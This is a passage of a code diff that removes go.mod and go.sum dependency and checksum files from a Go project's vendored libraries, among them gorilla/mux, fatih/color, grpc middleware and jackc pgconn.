-golang.org/x/crypto v0.0.0-20190123085648-057139ce5d2b h1:Elez2XeF2p9uyVj0yEUDqQ56NFcDtcBNkYP7yv8YbUE=
-golang.org/x/crypto v0.0.0-20190123085648-057139ce5d2b/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
-golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
-golang.org/x/crypto v0.0.0-20190701094942-4def268fd1a4 h1:HuIa8hRrWRSrqYzx1qI49NNxhdi2PrY7gxVSq1JjLDc=
-golang.org/x/crypto v0.0.0-20190701094942-4def268fd1a4/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
-golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
-golang.org/x/sys v0.0.0-20180606202747-9527bec2660b/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
-golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
-golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223 h1:DH4skfRX4EBpamg7iV4ZlCpblAHI6s6TDM39bFZumv8=
-golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
-golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20190801041406-cbf593c0f2f3 h1:4y9KwBHBgBNwDbtu44R5o1fdOCQUEXhbk/P4A9WmJq0=
-golang.org/x/sys v0.0.0-20190801041406-cbf593c0f2f3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20201009025420-dfb3f7c4e634 h1:bNEHhJCnrwMKNMmOx3yAynp5vs5/gRy+XWFtZFu7NBM=
-golang.org/x/sys v0.0.0-20201009025420-dfb3f7c4e634/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20201101102859-da207088b7d1 h1:a/mKvvZr9Jcc8oKfcmgzyp7OwF73JPWsQLvH1z2Kxck=
-golang.org/x/sys v0.0.0-20201101102859-da207088b7d1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20201214210602-f9fddec55a1e h1:AyodaIpKjppX+cBfTASF2E1US3H2JFBj920Ot3rtDjs=
-golang.org/x/sys v0.0.0-20201214210602-f9fddec55a1e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
-gopkg.in/AlecAivazis/survey.v1 v1.8.5 h1:QoEEmn/d5BbuPIL2qvXwzJdttFFhRQFkaq+tEKb7SMI=
-gopkg.in/AlecAivazis/survey.v1 v1.8.5/go.mod h1:iBNOmqKz/NUbZx3bA+4hAGLRC7fSK7tgtVDT4tB22XA=
-gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
-gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=

vendor/github.com/desertbit/readline/go.mod

@@ -1,11 +0,0 @@
-module github.com/desertbit/readline
-
-go 1.12
-
-require (
-	github.com/chzyer/logex v1.1.10 // indirect
-	github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1
-	github.com/nbutton23/zxcvbn-go v0.0.0-20180912185939-ae427f1e4c1d
-	github.com/stretchr/testify v1.6.1 // indirect
-	golang.org/x/sys v0.0.0-20201009025420-dfb3f7c4e634
-)

vendor/github.com/desertbit/readline/go.sum

@@ -1,19 +0,0 @@
-github.com/chzyer/logex v1.1.10 h1:Swpa1K6QvQznwJRcfTfQJmTE72DqScAa40E+fbHEXEE=
-github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=
-github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1 h1:q763qf9huN11kDQavWsoZXJNW3xEE4JJyHa5Q25/sd8=
-github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU=
-github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8=
-github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
-github.com/nbutton23/zxcvbn-go v0.0.0-20180912185939-ae427f1e4c1d h1:AREM5mwr4u1ORQBMvzfzBgpsctsbQikCVpvC+tX285E=
-github.com/nbutton23/zxcvbn-go v0.0.0-20180912185939-ae427f1e4c1d/go.mod h1:o96djdrsSGy3AWPyBgZMAGfxZNfgntdJG+11KU4QvbU=
-github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
-github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
-github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
-github.com/stretchr/testify v1.6.1 h1:hDPOHmpOpP40lSULcqw7IrRb/u7w6RpDC9399XyoNd0=
-github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
-golang.org/x/sys v0.0.0-20201009025420-dfb3f7c4e634 h1:bNEHhJCnrwMKNMmOx3yAynp5vs5/gRy+XWFtZFu7NBM=
-golang.org/x/sys v0.0.0-20201009025420-dfb3f7c4e634/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
-gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
-gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo=
-gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=

vendor/github.com/fatih/color/go.mod

@@ -1,8 +0,0 @@
-module github.com/fatih/color
-
-go 1.13
-
-require (
-	github.com/mattn/go-colorable v0.1.8
-	github.com/mattn/go-isatty v0.0.12
-)

vendor/github.com/fatih/color/go.sum

@@ -1,7 +0,0 @@
-github.com/mattn/go-colorable v0.1.8 h1:c1ghPdyEDarC70ftn0y+A/Ee++9zz8ljHG1b13eJ0s8=
-github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
-github.com/mattn/go-isatty v0.0.12 h1:wuysRhFDzyxgEmMf5xjvJ2M9dZoWAXNNr5LSBS7uHXY=
-github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
-golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
-golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae h1:/WDfKMnPU+m5M4xB+6x4kaepxRw6jWvR5iDRdvjHgy8=
-golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=

vendor/github.com/go-sql-driver/mysql/go.mod

@@ -1,3 +0,0 @@
-module github.com/go-sql-driver/mysql
-
-go 1.10

vendor/github.com/google/btree/go.mod

@@ -1,17 +0,0 @@
-// Copyright 2014 Google Inc.
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//     http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-module github.com/google/btree
-
-go 1.12

vendor/github.com/google/uuid/go.mod

@@ -1 +0,0 @@
-module github.com/google/uuid

vendor/github.com/gorilla/mux/go.mod

@@ -1,3 +0,0 @@
-module github.com/gorilla/mux
-
-go 1.12

vendor/github.com/grpc-ecosystem/go-grpc-middleware/go.mod

@@ -1,25 +0,0 @@
-module github.com/grpc-ecosystem/go-grpc-middleware
-
-require (
-	github.com/go-kit/kit v0.9.0
-	github.com/go-logfmt/logfmt v0.4.0 // indirect
-	github.com/go-stack/stack v1.8.0 // indirect
-	github.com/gogo/protobuf v1.2.1
-	github.com/golang/protobuf v1.3.3
-	github.com/opentracing/opentracing-go v1.1.0
-	github.com/pkg/errors v0.8.1 // indirect
-	github.com/sirupsen/logrus v1.4.2
-	github.com/stretchr/testify v1.4.0
-	go.uber.org/atomic v1.4.0 // indirect
-	go.uber.org/multierr v1.1.0 // indirect
-	go.uber.org/zap v1.10.0
-	golang.org/x/exp v0.0.0-20200331195152-e8c3332aa8e5 // indirect
-	golang.org/x/net v0.0.0-20200421231249-e086a090c8fd
-	golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be
-	golang.org/x/sys v0.0.0-20200420163511-1957bb5e6d1f // indirect
-	golang.org/x/text v0.3.2 // indirect
-	google.golang.org/genproto v0.0.0-20200423170343-7949de9c1215 // indirect
-	google.golang.org/grpc v1.29.1
-)
-
-go 1.14

vendor/github.com/grpc-ecosystem/go-grpc-middleware/go.sum

@@ -1,140 +0,0 @@
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vendor/github.com/hashicorp/errwrap/go.mod

@@ -1 +0,0 @@
-module github.com/hashicorp/errwrap

vendor/github.com/hashicorp/go-multierror/go.mod

@@ -1,5 +0,0 @@
-module github.com/hashicorp/go-multierror
-
-go 1.13
-
-require github.com/hashicorp/errwrap v1.0.0

vendor/github.com/hashicorp/go-multierror/go.sum

@@ -1,2 +0,0 @@
-github.com/hashicorp/errwrap v1.0.0 h1:hLrqtEDnRye3+sgx6z4qVLNuviH3MR5aQ0ykNJa/UYA=
-github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=

vendor/github.com/jackc/chunkreader/v2/go.mod

@@ -1,3 +0,0 @@
-module github.com/jackc/chunkreader/v2
-
-go 1.12

vendor/github.com/jackc/pgconn/go.mod

@@ -1,16 +0,0 @@
-module github.com/jackc/pgconn
-
-go 1.12
-
-require (
-	github.com/jackc/chunkreader/v2 v2.0.1
-	github.com/jackc/pgio v1.0.0
-	github.com/jackc/pgmock v0.0.0-20190831213851-13a1b77aafa2
-	github.com/jackc/pgpassfile v1.0.0
-	github.com/jackc/pgproto3/v2 v2.0.5
-	github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b
-	github.com/stretchr/testify v1.5.1
-	golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9
-	golang.org/x/text v0.3.3
-	golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7
-)

vendor/github.com/jackc/pgconn/go.sum

@@ -1,129 +0,0 @@
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vendor/github.com/jackc/pgio/go.mod

@@ -1,3 +0,0 @@
-module github.com/jackc/pgio
-
-go 1.12